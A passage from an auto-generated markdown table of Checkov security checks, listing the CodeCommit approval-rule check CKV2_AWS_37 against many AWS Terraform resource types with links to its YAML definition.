an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1715 | CKV2_AWS_37     | resource | aws_route53_traffic_policy                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1716 | CKV2_AWS_37     | resource | aws_route53_traffic_policy_instance                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1717 | CKV2_AWS_37     | resource | aws_route53_vpc_association_authorization                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1718 | CKV2_AWS_37     | resource | aws_route53_zone                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1719 | CKV2_AWS_37     | resource | aws_route53_zone_association                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1720 | CKV2_AWS_37     | resource | aws_route53domains_delegation_signer_record                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1721 | CKV2_AWS_37     | resource | aws_route53domains_domain                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1722 | CKV2_AWS_37     | resource | aws_route53domains_registered_domain                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1723 | CKV2_AWS_37     | resource | aws_route53profiles_association                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1724 | CKV2_AWS_37     | resource | aws_route53profiles_profile                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1725 | CKV2_AWS_37     | resource | aws_route53profiles_resource_association                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1726 | CKV2_AWS_37     | resource | aws_route53recoverycontrolconfig_cluster                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1727 | CKV2_AWS_37     | resource | aws_route53recoverycontrolconfig_control_panel                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1728 | CKV2_AWS_37     | resource | aws_route53recoverycontrolconfig_routing_control                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1729 | CKV2_AWS_37     | resource | aws_route53recoverycontrolconfig_safety_rule                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1730 | CKV2_AWS_37     | resource | aws_route53recoveryreadiness_cell                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1731 | CKV2_AWS_37     | resource | aws_route53recoveryreadiness_readiness_check                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1732 | CKV2_AWS_37     | resource | aws_route53recoveryreadiness_recovery_group                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1733 | CKV2_AWS_37     | resource | aws_route53recoveryreadiness_resource_set                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1734 | CKV2_AWS_37     | resource | aws_route_table                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1735 | CKV2_AWS_37     | resource | aws_route_table_association                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1736 | CKV2_AWS_37     | resource | aws_rum_app_monitor                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1737 | CKV2_AWS_37     | resource | aws_rum_metrics_destination                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1738 | CKV2_AWS_37     | resource | aws_s3_access_point                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1739 | CKV2_AWS_37     | resource | aws_s3_account_public_access_block                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1740 | CKV2_AWS_37     | resource | aws_s3_bucket                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1741 | CKV2_AWS_37     | resource | aws_s3_bucket_accelerate_configuration                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1742 | CKV2_AWS_37     | resource | aws_s3_bucket_acl                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1743 | CKV2_AWS_37     | resource | aws_s3_bucket_analytics_configuration                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1744 | CKV2_AWS_37     | resource | aws_s3_bucket_cors_configuration                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1745 | CKV2_AWS_37     | resource | aws_s3_bucket_intelligent_tiering_configuration                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1746 | CKV2_AWS_37     | resource | aws_s3_bucket_inventory                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1747 | CKV2_AWS_37     | resource | aws_s3_bucket_lifecycle_configuration                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1748 | CKV2_AWS_37     | resource | aws_s3_bucket_logging                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1749 | CKV2_AWS_37     | resource | aws_s3_bucket_metric                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1750 | CKV2_AWS_37     | resource | aws_s3_bucket_notification                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1751 | CKV2_AWS_37     | resource | aws_s3_bucket_object                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1752 | CKV2_AWS_37     | resource | aws_s3_bucket_object_lock_configuration                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1753 | CKV2_AWS_37     | resource | aws_s3_bucket_ownership_controls                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1754 | CKV2_AWS_37     | resource | aws_s3_bucket_policy                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1755 | CKV2_AWS_37     | resource | aws_s3_bucket_public_access_block                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1756 | CKV2_AWS_37     | resource | aws_s3_bucket_replication_configuration                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1757 | CKV2_AWS_37     | resource | aws_s3_bucket_request_payment_configuration                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1758 | CKV2_AWS_37     | resource | aws_s3_bucket_server_side_encryption_configuration               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1759 | CKV2_AWS_37     | resource | aws_s3_bucket_versioning                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1760 | CKV2_AWS_37     | resource | aws_s3_bucket_website_configuration                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1761 | CKV2_AWS_37     | resource | aws_s3_directory_bucket                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1762 | CKV2_AWS_37     | resource | aws_s3_object                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1763 | CKV2_AWS_37     | resource | aws_s3_object_copy                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1764 | CKV2_AWS_37     | resource | aws_s3control_access_grant                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1765 | CKV2_AWS_37     | resource | aws_s3control_access_grants_instance                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1766 | CKV2_AWS_37     | resource | aws_s3control_access_grants_instance_resource_policy             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1767 | CKV2_AWS_37     | resource | aws_s3control_access_grants_location                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1768 | CKV2_AWS_37     | resource | aws_s3control_access_point_policy                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1769 | CKV2_AWS_37     | resource | aws_s3control_bucket                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1770 | CKV2_AWS_37     | resource | aws_s3control_bucket_lifecycle_configuration                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1771 | CKV2_AWS_37     | resource | aws_s3control_bucket_policy                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1772 | CKV2_AWS_37     | resource | aws_s3control_multi_region_access_point                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1773 | CKV2_AWS_37     | resource | aws_s3control_multi_region_access_point_policy                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1774 | CKV2_AWS_37     | resource | aws_s3control_object_lambda_access_point                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1775 | CKV2_AWS_37     | resource | aws_s3control_object_lambda_access_point_policy                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1776 | CKV2_AWS_37     | resource | aws_s3control_storage_lens_configuration                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1777 | CKV2_AWS_37     | resource | aws_s3outposts_endpoint                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1778 | CKV2_AWS_37     | resource | aws_s3tables_namespace                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1779 | CKV2_AWS_37     | resource | aws_s3tables_table                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1780 | CKV2_AWS_37     | resource | aws_s3tables_table_bucket                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1781 | CKV2_AWS_37     | resource | aws_s3tables_table_bucket_policy                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1782 | CKV2_AWS_37     | resource | aws_s3tables_table_policy                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1783 | CKV2_AWS_37     | resource | aws_sagemaker_app                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1784 | CKV2_AWS_37     | resource | aws_sagemaker_app_image_config                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1785 | CKV2_AWS_37     | resource | aws_sagemaker_code_repository                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1786 | CKV2_AWS_37     | resource | aws_sagemaker_data_quality_job_definition                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1787 | CKV2_AWS_37     | resource | aws_sagemaker_device                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1788 | CKV2_AWS_37     | resource | aws_sagemaker_device_fleet                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1789 | CKV2_AWS_37     | resource | aws_sagemaker_domain                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1790 | CKV2_AWS_37     | resource | aws_sagemaker_endpoint                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1791 | CKV2_AWS_37     | resource | aws_sagemaker_endpoint_configuration                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1792 | CKV2_AWS_37     | resource | aws_sagemaker_feature_group                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1793 | CKV2_AWS_37     | resource | aws_sagemaker_flow_definition                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1794 | CKV2_AWS_37     | resource | aws_sagemaker_hub                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1795 | CKV2_AWS_37     | resource | aws_sagemaker_human_task_ui                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1796 | CKV2_AWS_37     | resource | aws_sagemaker_image                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1797 | CKV2_AWS_37     | resource | aws_sagemaker_image_version                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1798 | CKV2_AWS_37     | resource | aws_sagemaker_mlflow_tracking_server                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1799 | CKV2_AWS_37     | resource | aws_sagemaker_model                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1800 | CKV2_AWS_37     | resource | aws_sagemaker_model_package_group                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1801 | CKV2_AWS_37     | resource | aws_sagemaker_model_package_group_policy                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1802 | CKV2_AWS_37     | resource | aws_sagemaker_monitoring_schedule                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1803 | CKV2_AWS_37     | resource | aws_sagemaker_notebook_instance                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1804 | CKV2_AWS_37     | resource | aws_sagemaker_notebook_instance_lifecycle_configuration          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1805 | CKV2_AWS_37     | resource | aws_sagemaker_pipeline                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1806 | CKV2_AWS_37     | resource | aws_sagemaker_project                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | 